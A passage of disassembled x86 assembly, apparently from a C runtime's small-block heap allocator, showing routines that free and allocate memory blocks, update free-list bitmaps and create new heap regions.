sub_426860+2Fj ; sub_426860+39j ... mov [ebp+var_C], 0 loc_4268B8: ; CODE XREF: sub_426860+4Fj mov eax, [ebp+var_C] mov esp, ebp pop ebp retn sub_426860 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268C0 proc near ; CODE XREF: sub_425F40+132p ; sub_425F40+1B2p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax+10h] mov [ebp+var_3C], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] sub eax, [edx+0Ch] mov [ebp+var_10], eax mov ecx, [ebp+var_10] shr ecx, 0Fh mov [ebp+var_4], ecx mov edx, [ebp+var_4] imul edx, 204h mov eax, [ebp+var_3C] lea ecx, [eax+edx+144h] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] sub edx, 4 mov [ebp+var_1C], edx mov eax, [ebp+var_1C] mov ecx, [eax] sub ecx, 1 mov [ebp+var_30], ecx mov edx, [ebp+var_30] and edx, 1 test edx, edx jz short loc_42691D jmp loc_426E98 ; --------------------------------------------------------------------------- loc_42691D: ; CODE XREF: sub_4268C0+56j mov eax, [ebp+var_1C] add eax, [ebp+var_30] mov [ebp+var_38], eax mov ecx, [ebp+var_38] mov edx, [ecx] mov [ebp+var_14], edx mov eax, [ebp+var_1C] mov ecx, [eax-4] mov [ebp+var_C], ecx mov edx, [ebp+var_14] and edx, 1 test edx, edx jnz loc_426A67 mov eax, [ebp+var_14] sar eax, 4 sub eax, 1 mov [ebp+var_24], eax cmp [ebp+var_24], 3Fh jbe short loc_42695E mov [ebp+var_24], 3Fh loc_42695E: ; CODE XREF: sub_4268C0+95j mov ecx, [ebp+var_38] mov edx, [ebp+var_38] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_426A40 cmp [ebp+var_24], 20h jnb short loc_4269D5 mov edx, 80000000h mov ecx, [ebp+var_24] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_24] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_4269D3 mov edx, 80000000h mov ecx, [ebp+var_24] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_4269D3: ; CODE XREF: sub_4268C0+F9j jmp short loc_426A40 ; --------------------------------------------------------------------------- loc_4269D5: ; CODE XREF: sub_4268C0+B4j mov ecx, [ebp+var_24] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov [eax+4], dl mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_426A40 mov ecx, [ebp+var_24] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_426A40: ; CODE XREF: sub_4268C0+AAj ; sub_4268C0:loc_4269D3j ... mov ecx, [ebp+var_38] mov edx, [ecx+8] mov eax, [ebp+var_38] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_38] mov eax, [edx+4] mov ecx, [ebp+var_38] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_30] add eax, [ebp+var_14] mov [ebp+var_30], eax loc_426A67: ; CODE XREF: sub_4268C0+7Fj mov ecx, [ebp+var_30] sar ecx, 4 sub ecx, 1 mov [ebp+var_28], ecx cmp [ebp+var_28], 3Fh jbe short loc_426A80 mov [ebp+var_28], 3Fh loc_426A80: ; CODE XREF: sub_4268C0+1B7j mov edx, [ebp+var_C] and edx, 1 test edx, edx jnz loc_426BE4 mov eax, [ebp+var_1C] sub eax, [ebp+var_C] mov [ebp+var_34], eax mov ecx, [ebp+var_C] sar ecx, 4 sub ecx, 1 mov [ebp+var_2C], ecx cmp [ebp+var_2C], 3Fh jbe short loc_426AB0 mov [ebp+var_2C], 3Fh loc_426AB0: ; CODE XREF: sub_4268C0+1E7j mov edx, [ebp+var_30] add edx, [ebp+var_C] mov [ebp+var_30], edx mov eax, [ebp+var_30] sar eax, 4 sub eax, 1 mov [ebp+var_28], eax cmp [ebp+var_28], 3Fh jbe short loc_426AD2 mov [ebp+var_28], 3Fh loc_426AD2: ; CODE XREF: sub_4268C0+209j mov ecx, [ebp+var_2C] cmp ecx, [ebp+var_28] jz loc_426BDE mov edx, [ebp+var_34] mov eax, [ebp+var_34] mov ecx, [edx+4] cmp ecx, [eax+8] jnz loc_426BC0 cmp [ebp+var_2C], 20h jnb short loc_426B55 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_2C] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_2C] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_426B53 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_426B53: ; CODE XREF: sub_4268C0+279j jmp short loc_426BC0 ; --------------------------------------------------------------------------- loc_426B55: ; CODE XREF: sub_4268C0+234j mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_2C] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov [eax+4], dl mov ecx, [ebp+var_3C] add ecx, [ebp+var_2C] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_426BC0 mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_426BC0: ; CODE XREF: sub_4268C0+22Aj ; sub_4268C0:loc_426B53j ... mov ecx, [ebp+var_34] mov edx, [ecx+8] mov eax, [ebp+var_34] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_34] mov eax, [edx+4] mov ecx, [ebp+var_34] mov edx, [ecx+8] mov [eax+8], edx loc_426BDE: ; CODE XREF: sub_4268C0+218j mov eax, [ebp+var_34] mov [ebp+var_1C], eax loc_426BE4: ; CODE XREF: sub_4268C0+1C8j mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jnz short loc_426BFA mov edx, [ebp+var_2C] cmp edx, [ebp+var_28] jz loc_426D0A loc_426BFA: ; CODE XREF: sub_4268C0+32Cj mov eax, [ebp+var_28] mov ecx, [ebp+var_8] lea edx, [ecx+eax*8] mov [ebp+var_20], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov [eax+8], ecx mov edx, [ebp+var_20] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+var_1C] mov edx, [ecx+4] mov eax, [ebp+var_1C] mov [edx+8], eax mov ecx, [ebp+var_1C] mov edx, [ebp+var_1C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_426D0A cmp [ebp+var_28], 20h jnb short loc_426CA3 mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_426C81 mov edx, 80000000h mov ecx, [ebp+var_28] shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax] or ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_426C81: ; CODE XREF: sub_4268C0+3A9j mov eax, 80000000h mov ecx, [ebp+var_28] shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+44h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+44h], ecx jmp short loc_426D0A ; --------------------------------------------------------------------------- loc_426CA3: ; CODE XREF: sub_4268C0+386j mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_426CE1 mov ecx, [ebp+var_28] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_426CE1: ; CODE XREF: sub_4268C0+404j mov ecx, [ebp+var_28] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx loc_426D0A: ; CODE XREF: sub_4268C0+334j ; sub_4268C0+37Cj ... mov ecx, [ebp+var_1C] mov edx, [ebp+var_30] mov [ecx], edx mov eax, [ebp+var_1C] add eax, [ebp+var_30] mov ecx, [ebp+var_30] mov [eax-4], ecx mov edx, [ebp+var_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jnz loc_426E98 cmp dword_4E98E0, 0 jz loc_426E87 mov eax, dword_4E98D4 shl eax, 0Fh mov ecx, dword_4E98E0 mov edx, [ecx+0Ch] add edx, eax mov [ebp+var_18], edx push 4000h push 8000h mov eax, [ebp+var_18] push eax call near ptr 2970D92h nop mov edx, 80000000h mov ecx, dword_4E98D4 shr edx, cl mov eax, dword_4E98E0 mov ecx, [eax+8] or ecx, edx mov edx, dword_4E98E0 mov [edx+8], ecx mov eax, dword_4E98E0 mov ecx, [eax+10h] mov edx, dword_4E98D4 mov dword ptr [ecx+edx*4+0C4h], 0 mov eax, dword_4E98E0 mov ecx, [eax+10h] mov dl, [ecx+43h] sub dl, 1 mov eax, dword_4E98E0 mov ecx, [eax+10h] mov [ecx+43h], dl mov edx, dword_4E98E0 mov eax, [edx+10h] movsx ecx, byte ptr [eax+43h] test ecx, ecx jnz short loc_426DE5 mov edx, dword_4E98E0 mov eax, [edx+4] and al, 0FEh mov ecx, dword_4E98E0 mov [ecx+4], eax loc_426DE5: ; CODE XREF: sub_4268C0+50Fj mov edx, dword_4E98E0 cmp dword ptr [edx+8], 0FFFFFFFFh jnz loc_426E87 push 8000h push 0 mov eax, dword_4E98E0 mov ecx, [eax+0Ch] push ecx nop call near ptr 2970D92h mov edx, dword_4E98E0 mov eax, [edx+10h] push eax push 0 mov ecx, dword_4E98C8 push ecx call near ptr 2970000h nop mov edx, dword_4E98E4 imul edx, 14h mov eax, dword_4E98E8 add eax, edx mov ecx, dword_4E98E0 add ecx, 14h sub eax, ecx push eax mov edx, dword_4E98E0 add edx, 14h push edx mov eax, dword_4E98E0 push eax call sub_4237A0 add esp, 0Ch mov ecx, dword_4E98E4 sub ecx, 1 mov dword_4E98E4, ecx mov edx, [ebp+arg_0] cmp edx, dword_4E98E0 jbe short loc_426E7B mov eax, [ebp+arg_0] sub eax, 14h mov [ebp+arg_0], eax loc_426E7B: ; CODE XREF: sub_4268C0+5B0j mov ecx, dword_4E98E8 mov dword_4E98D8, ecx loc_426E87: ; CODE XREF: sub_4268C0+47Ej ; sub_4268C0+52Fj mov edx, [ebp+arg_0] mov dword_4E98E0, edx mov eax, [ebp+var_4] mov dword_4E98D4, eax loc_426E98: ; CODE XREF: sub_4268C0+58j ; sub_4268C0+471j mov esp, ebp pop ebp retn sub_4268C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426EA0 proc near ; CODE XREF: sub_425BD0+4Cp ; sub_425F40+D4p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 38h push esi mov eax, dword_4E98E4 imul eax, 14h mov ecx, dword_4E98E8 add ecx, eax mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] add edx, 17h and edx, 0FFFFFFF0h mov [ebp+var_28], edx mov eax, [ebp+var_28] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 20h jge short loc_426EEC or edx, 0FFFFFFFFh mov ecx, [ebp+var_20] shr edx, cl mov [ebp+var_24], edx mov [ebp+var_34], 0FFFFFFFFh jmp short loc_426F01 ; --------------------------------------------------------------------------- loc_426EEC: ; CODE XREF: sub_426EA0+36j mov [ebp+var_24], 0 mov ecx, [ebp+var_20] sub ecx, 20h or eax, 0FFFFFFFFh shr eax, cl mov [ebp+var_34], eax loc_426F01: ; CODE XREF: sub_426EA0+4Aj mov ecx, dword_4E98D8 mov [ebp+var_18], ecx loc_426F0A: ; CODE XREF: sub_426EA0+94j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnb short loc_426F36 mov eax, [ebp+var_18] mov ecx, [ebp+var_24] and ecx, [eax] mov edx, [ebp+var_18] mov eax, [ebp+var_34] and eax, [edx+4] or ecx, eax test ecx, ecx jz short loc_426F2B jmp short loc_426F36 ; --------------------------------------------------------------------------- loc_426F2B: ; CODE XREF: sub_426EA0+87j mov ecx, [ebp+var_18] add ecx, 14h mov [ebp+var_18], ecx jmp short loc_426F0A ; --------------------------------------------------------------------------- loc_426F36: ; CODE XREF: sub_426EA0+70j ; sub_426EA0+89j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnz loc_42701D mov eax, dword_4E98E8 mov [ebp+var_18], eax loc_426F4A: ; CODE XREF: sub_426EA0+D7j mov ecx, [ebp+var_18] cmp ecx, dword_4E98D8 jnb short loc_426F79 mov edx, [ebp+var_18] mov eax, [ebp+var_24] and eax, [edx] mov ecx, [ebp+var_18] mov edx, [ebp+var_34] and edx, [ecx+4] or eax, edx test eax, eax jz short loc_426F6E jmp short loc_426F79 ; --------------------------------------------------------------------------- loc_426F6E: ; CODE XREF: sub_426EA0+CAj mov eax, [ebp+var_18] add eax, 14h mov [ebp+var_18], eax jmp short loc_426F4A ; --------------------------------------------------------------------------- loc_426F79: ; CODE XREF: sub_426EA0+B3j ; sub_426EA0+CCj mov ecx, [ebp+var_18] cmp ecx, dword_4E98D8 jnz loc_42701D loc_426F88: ; CODE XREF: sub_426EA0+104j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnb short loc_426FA6 mov eax, [ebp+var_18] cmp dword ptr [eax+8], 0 jz short loc_426F9B jmp short loc_426FA6 ; --------------------------------------------------------------------------- loc_426F9B: ; CODE XREF: sub_426EA0+F7j mov ecx, [ebp+var_18] add ecx, 14h mov [ebp+var_18], ecx jmp short loc_426F88 ; --------------------------------------------------------------------------- loc_426FA6: ; CODE XREF: sub_426EA0+EEj ; sub_426EA0+F9j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnz short loc_426FF7 mov eax, dword_4E98E8 mov [ebp+var_18], eax loc_426FB6: ; CODE XREF: sub_426EA0+135j mov ecx, [ebp+var_18] cmp ecx, dword_4E98D8 jnb short loc_426FD7 mov edx, [ebp+var_18] cmp dword ptr [edx+8], 0 jz short loc_426FCC jmp short loc_426FD7 ; --------------------------------------------------------------------------- loc_426FCC: ; CODE XREF: sub_426EA0+128j mov eax, [ebp+var_18] add eax, 14h mov [ebp+var_18], eax jmp short loc_426FB6 ; --------------------------------------------------------------------------- loc_426FD7: ; CODE XREF: sub_426EA0+11Fj ; sub_426EA0+12Aj mov ecx, [ebp+var_18] cmp ecx, dword_4E98D8 jnz short loc_426FF7 call sub_4273E0 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_426FF7 xor eax, eax jmp loc_4273D1 ; --------------------------------------------------------------------------- loc_426FF7: ; CODE XREF: sub_426EA0+10Cj ; sub_426EA0+140j ... mov edx, [ebp+var_18] push edx call sub_4274F0 add esp, 4 mov ecx, [ebp+var_18] mov edx, [ecx+10h] mov [edx], eax mov eax, [ebp+var_18] mov ecx, [eax+10h] cmp dword ptr [ecx], 0FFFFFFFFh jnz short loc_42701D xor eax, eax jmp loc_4273D1 ; --------------------------------------------------------------------------- loc_42701D: ; CODE XREF: sub_426EA0+9Cj ; sub_426EA0+E2j ... mov edx, [ebp+var_18] mov dword_4E98D8, edx mov eax, [ebp+var_18] mov ecx, [eax+10h] mov [ebp+var_38], ecx mov edx, [ebp+var_38] mov eax, [edx] mov [ebp+var_30], eax cmp [ebp+var_30], 0FFFFFFFFh jz short loc_427060 mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov eax, [ebp+var_24] and eax, [edx+ecx*4+44h] mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov esi, [ebp+var_34] and esi, [edx+ecx*4+0C4h] or eax, esi test eax, eax jnz short loc_427095 loc_427060: ; CODE XREF: sub_426EA0+19Bj mov [ebp+var_30], 0 loc_427067: ; CODE XREF: sub_426EA0+1F3j mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_24] and edx, [ecx+eax*4+44h] mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov esi, [ebp+var_34] and esi, [ecx+eax*4+0C4h] or edx, esi test edx, edx jnz short loc_427095 mov edx, [ebp+var_30] add edx, 1 mov [ebp+var_30], edx jmp short loc_427067 ; --------------------------------------------------------------------------- loc_427095: ; CODE XREF: sub_426EA0+1BEj ; sub_426EA0+1E8j mov eax, [ebp+var_30] imul eax, 204h mov ecx, [ebp+var_38] lea edx, [ecx+eax+144h] mov [ebp+var_4], edx mov [ebp+var_20], 0 mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_24] and edx, [ecx+eax*4+44h] mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_4270E2 mov [ebp+var_20], 20h mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_34] and edx, [ecx+eax*4+0C4h] mov [ebp+var_1C], edx loc_4270E2: ; CODE XREF: sub_426EA0+226j ; sub_426EA0+259j cmp [ebp+var_1C], 0 jl short loc_4270FB mov eax, [ebp+var_1C] shl eax, 1 mov [ebp+var_1C], eax mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx jmp short loc_4270E2 ; --------------------------------------------------------------------------- loc_4270FB: ; CODE XREF: sub_426EA0+246j mov edx, [ebp+var_20] mov eax, [ebp+var_4] mov ecx, [eax+edx*8+4] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov eax, [edx] sub eax, [ebp+var_28] mov [ebp+var_8], eax mov ecx, [ebp+var_8] sar ecx, 4 sub ecx, 1 mov [ebp+var_14], ecx cmp [ebp+var_14], 3Fh jle short loc_42712C mov [ebp+var_14], 3Fh loc_42712C: ; CODE XREF: sub_426EA0+283j mov edx, [ebp+var_14] cmp edx, [ebp+var_20] jz loc_427350 mov eax, [ebp+var_10] mov ecx, [ebp+var_10] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_42721A cmp [ebp+var_20], 20h jge short loc_4271AF mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl not eax mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov ecx, [edx+ecx*4+44h] and ecx, eax mov edx, [ebp+var_30] mov eax, [ebp+var_38] mov [eax+edx*4+44h], ecx mov ecx, [ebp+var_38] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_38] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_38] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_4271AD mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl not eax mov ecx, [ebp+var_18] mov edx, [ecx] and edx, eax mov eax, [ebp+var_18] mov [eax], edx loc_4271AD: ; CODE XREF: sub_426EA0+2F3j jmp short loc_42721A ; --------------------------------------------------------------------------- loc_4271AF: ; CODE XREF: sub_426EA0+2AEj mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+0C4h] and eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+0C4h], eax mov eax, [ebp+var_38] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_38] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_38] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_42721A mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_18] mov ecx, [eax+4] and ecx, edx mov edx, [ebp+var_18] mov [edx+4], ecx loc_42721A: ; CODE XREF: sub_426EA0+2A4j ; sub_426EA0:loc_4271ADj ... mov eax, [ebp+var_10] mov ecx, [eax+8] mov edx, [ebp+var_10] mov eax, [edx+4] mov [ecx+4], eax mov ecx, [ebp+var_10] mov edx, [ecx+4] mov eax, [ebp+var_10] mov ecx, [eax+8] mov [edx+8], ecx cmp [ebp+var_8], 0 jz loc_427350 mov edx, [ebp+var_14] mov eax, [ebp+var_4] lea ecx, [eax+edx*8] mov [ebp+var_C], ecx mov edx, [ebp+var_10] mov eax, [ebp+var_C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_10] mov eax, [ebp+var_C] mov [edx+8], eax mov ecx, [ebp+var_C] mov edx, [ebp+var_10] mov [ecx+4], edx mov eax, [ebp+var_10] mov ecx, [eax+4] mov edx, [ebp+var_10] mov [ecx+8], edx mov eax, [ebp+var_10] mov ecx, [ebp+var_10] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_427350 cmp [ebp+var_14], 20h jge short loc_4272EA mov eax, [ebp+var_38] add eax, [ebp+var_14] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_38] add edx, [ebp+var_14] mov al, [edx+4] add al, 1 mov edx, [ebp+var_38] add edx, [ebp+var_14] mov [edx+4], al test ecx, ecx jnz short loc_4272C8 mov eax, 80000000h mov ecx, [ebp+var_14] shr eax, cl mov ecx, [ebp+var_18] mov edx, [ecx] or edx, eax mov eax, [ebp+var_18] mov [eax], edx loc_4272C8: ; CODE XREF: sub_426EA0+410j mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+44h] or eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+44h], eax jmp short loc_427350 ; --------------------------------------------------------------------------- loc_4272EA: ; CODE XREF: sub_426EA0+3EEj mov eax, [ebp+var_38] add eax, [ebp+var_14] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_38] add edx, [ebp+var_14] mov al, [edx+4] add al, 1 mov edx, [ebp+var_38] add edx, [ebp+var_14] mov [edx+4], al test ecx, ecx jnz short loc_427327 mov ecx, [ebp+var_14] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_18] mov edx, [ecx+4] or edx, eax mov eax, [ebp+var_18] mov [eax+4], edx loc_427327: ; CODE XREF: sub_426EA0+46Aj mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+0C4h] or eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+0C4h], eax loc_427350: ; CODE XREF: sub_426EA0+292j ; sub_426EA0+39Cj ... cmp [ebp+var_8], 0 jz short loc_42736A mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax], ecx mov edx, [ebp+var_10] add edx, [ebp+var_8] mov eax, [ebp+var_8] mov [edx-4], eax loc_42736A: ; CODE XREF: sub_426EA0+4B4j mov ecx, [ebp+var_10] add ecx, [ebp+var_8] mov [ebp+var_10], ecx mov edx, [ebp+var_28] add edx, 1 mov eax, [ebp+var_10] mov [eax], edx mov ecx, [ebp+var_28] add ecx, 1 mov edx, [ebp+var_10] add edx, [ebp+var_28] mov [edx-4], ecx mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov edx, [ebp+var_4] mov [edx], eax test ecx, ecx jnz short loc_4273C3 mov eax, [ebp+var_18] cmp eax, dword_4E98E0 jnz short loc_4273C3 mov ecx, [ebp+var_30] cmp ecx, dword_4E98D4 jnz short loc_4273C3 mov dword_4E98E0, 0 loc_4273C3: ; CODE XREF: sub_426EA0+501j ; sub_426EA0+50Cj ... mov edx, [ebp+var_38] mov eax, [ebp+var_30] mov [edx], eax mov eax, [ebp+var_10] add eax, 4 loc_4273D1: ; CODE XREF: sub_426EA0+152j ; sub_426EA0+178j pop esi mov esp, ebp pop ebp retn sub_426EA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4273E0 proc near ; CODE XREF: sub_426EA0+142p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, dword_4E98E4 cmp eax, dword_4E98D0 jnz short loc_42743B mov ecx, dword_4E98D0 add ecx, 10h imul ecx, 14h push ecx mov edx, dword_4E98E8 push edx push 0 mov eax, dword_4E98C8 push eax nop call near ptr 2960000h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_427423 xor eax, eax jmp loc_4274EB ; --------------------------------------------------------------------------- loc_427423: ; CODE XREF: sub_4273E0+3Aj mov ecx, [ebp+var_4] mov dword_4E98E8, ecx mov edx, dword_4E98D0 add edx, 10h mov dword_4E98D0, edx loc_42743B: ; CODE XREF: sub_4273E0+Fj mov eax, dword_4E98E4 imul eax, 14h mov ecx, dword_4E98E8 add ecx, eax mov [ebp+var_4], ecx push 41C4h push 8 mov edx, dword_4E98C8 push edx nop call near ptr 2950000h mov ecx, [ebp+var_4] mov [ecx+10h], eax mov edx, [ebp+var_4] cmp dword ptr [edx+10h], 0 jnz short loc_427475 xor eax, eax jmp short loc_4274EB ; --------------------------------------------------------------------------- loc_427475: ; CODE XREF: sub_4273E0+8Fj push 4 push 2000h push 100000h push 0 nop call near ptr 2980000h mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] cmp dword ptr [edx+0Ch], 0 jnz short loc_4274B2 mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx push 0 mov edx, dword_4E98C8 push edx nop call near ptr 2970000h xor eax, eax jmp short loc_4274EB ; --------------------------------------------------------------------------- loc_4274B2: ; CODE XREF: sub_4273E0+B6j mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_4] mov dword ptr [edx+8], 0FFFFFFFFh mov eax, dword_4E98E4 add eax, 1 mov dword_4E98E4, eax mov ecx, [ebp+var_4] mov edx, [ecx+10h] mov dword ptr [edx], 0FFFFFFFFh mov eax, [ebp+var_4] loc_4274EB: ; CODE XREF: sub_4273E0+3Ej ; sub_4273E0+93j ... mov esp, ebp pop ebp retn sub_4273E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4274F0 proc near ; CODE XREF: sub_426EA0+15Bp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch mov 